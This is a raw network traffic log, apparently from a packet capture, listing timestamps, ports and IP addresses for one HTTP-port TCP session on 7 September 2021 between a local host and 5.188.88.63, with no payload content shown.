Sep 7, 2021 16:02:40.483490944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483520031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483525991 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483664989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483685970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485383987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485414982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485436916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485471964 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485486984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485503912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485521078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485541105 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485558033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485578060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485707998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485726118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485742092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485790014 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485806942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485810995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485815048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485868931 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485878944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.485898972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485982895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.485999107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.486052990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.486608028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.486625910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.486803055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.486922979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.486942053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.487009048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.487031937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.487052917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.487067938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.487085104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.487086058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.487162113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.511140108 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.518456936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.518537045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.518615961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.518836975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.518898964 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.518949032 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.518969059 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519097090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519284964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519356012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519392014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519414902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519433975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519454002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519479036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519501925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519530058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519534111 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519556046 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519560099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519560099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519567013 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519584894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519612074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519637108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519661903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519675016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.519879103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519910097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.519952059 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.520040035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520100117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520143986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.520162106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520195007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520216942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520236969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520302057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520490885 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.520505905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.520512104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.520627022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520658016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520679951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520700932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.520793915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.522377968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522490025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.522638083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522667885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522696972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522742987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522770882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522815943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522841930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522869110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522871971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.522887945 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.522897959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.522910118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522931099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.522952080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523205042 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.523729086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523772001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523839951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523900986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523917913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.523927927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.523937941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523966074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.523993969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.524122000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.524605989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.524625063 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.524916887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.524964094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.524991035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525041103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525089025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525326014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525365114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525368929 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.525384903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.525387049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525449991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.525728941 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.525748968 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.525783062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.528222084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.528251886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.528279066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.528306961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.528346062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.528367043 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.531662941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.538937092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.538979053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539015055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539051056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539167881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539207935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539238930 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.539246082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539256096 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.539258957 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.539297104 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539345980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539398909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.539552927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.539570093 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.540396929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540467024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540503025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540553093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540606022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540652990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540689945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540726900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540762901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540798903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540833950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540878057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540896893 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.540919065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.540927887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.540932894 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.540935993 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.540955067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.541008949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.541048050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.541085958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.541125059 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.541291952 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.541306019 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.541307926 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.542606115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.542761087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.542804956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.542841911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.542880058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.542918921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.542967081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.543009996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.543173075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.543190002 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.543193102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.543195009 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.543487072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.543538094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.545367956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547097921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547183037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547224998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547261953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547302961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547348022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547399044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547441959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547481060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547521114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547542095 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547555923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547558069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547560930 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547561884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547564030 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547600031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547641993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547682047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547732115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547775030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547812939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547852039 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547880888 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547884941 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547887087 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547889948 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.547890902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547930956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.547970057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548007965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548055887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548113108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548146963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.548155069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.548158884 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.548166990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548208952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548249006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548706055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.548722982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.548858881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548898935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548938990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.548979044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549031973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549074888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549113989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549135923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549154043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549154997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549163103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549194098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549232006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549271107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549309015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549355984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549392939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549401045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549401999 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549442053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549482107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549520016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549556971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549596071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549634933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549676895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.549866915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549881935 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549885035 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549886942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.549890041 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.580976963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581048965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581096888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581147909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581187010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581198931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581208944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581260920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581326008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581351042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581614971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581645966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581659079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581671953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581671953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581695080 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581700087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581727028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581758022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581784964 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581809998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581834078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581859112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581882954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581883907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581891060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581895113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581902981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.581909895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581933975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.581964016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582031965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.582048893 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.582328081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582360029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582387924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582412958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582439899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582468987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582638025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582668066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582865000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582894087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582918882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582945108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.582988977 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583012104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583015919 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583018064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583182096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583213091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583236933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583261013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583492041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583525896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583551884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583590031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583615065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.583625078 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583640099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583646059 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583677053 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583682060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.583733082 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586026907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586066008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586091995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586122990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586152077 CEST	80	49744	5.188.88.63	192.168.2.4
